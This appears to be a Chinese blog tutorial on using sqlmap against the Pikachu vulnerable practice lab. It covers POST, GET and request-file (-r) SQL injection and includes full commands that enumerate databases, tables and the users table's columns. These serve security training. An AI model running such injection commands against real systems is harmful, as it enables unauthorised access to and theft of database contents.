环境准备sqlmap用法详解sqlmap实战
post注入get注入万能模板-r sqlmap小结
环境准备python环境+sqlmap工具
我是win10系统在官网安装了sqlmap工具,直接用kali自带的也行。
sqlmap官网
网上安装教程挺多,跟着来就行
这是当时在网上找的参考博客,有些参数不清楚就查一下
sqlmap详解
以Pikachu靶场题目为例,post注入的参数不会出现在url中,用Burp抓包看看
python2 sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql --dbs --batch
post方式传参一般用 --data"参数"
-u表示指定url
-f表示查询目标DBMS版本指纹信息
-dbms表示探测数据库是什么 这里指定了mysql数据库
–batch表示扫描过程不提示请求,默认yes
-dbs表示有权限时枚举所有DBMS数据库名
python2 sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -tables --batch
-D指定数据库pikachu
-tables查询数据库下所有表
python2 sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users --columns --batch
在前面的基础上继续查询某个表的具体内容
-T指定表名 users
–columns 枚举所有列
还是以pikachu的题目为例,get类型传参数在url中,直接复制url
先做一个初步探测,注意我们输入的url至少得带一个参数,这里是name
python2 sqlmap.py -u "http://10.139.38.196/pikachu/vul/sqli/sqli_str.php ?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
可以看到这里可能存在的四种注入:布尔盲注、时间盲注、基于报错的注入、UNIOn注入。
然后的步骤和之前差不多
后缀加上-dbs查看有哪些数据库,-D 数据库名 -tables 查看某库的表
-T 某表名 --columns 枚举表的所有列
sqlmap -r参数 确实挺好用的
利用Burp抓http包,将内容复制到某个txt文本中
咱还是以pikachu题目为例
点击删除,将抓包数据复制到桌面的bag.txt中
python2 sqlmap.py -r D:/桌面/bag.txt --batchsqlmap小结
以上只是一些简单的用法,sqlmap本身还有许多比较常用的参数,比如
–current-db 获取当前数据库名
-roles 列出数据库管理员角色
–privileges 列出用户权限
-a 查询所有(费时间)



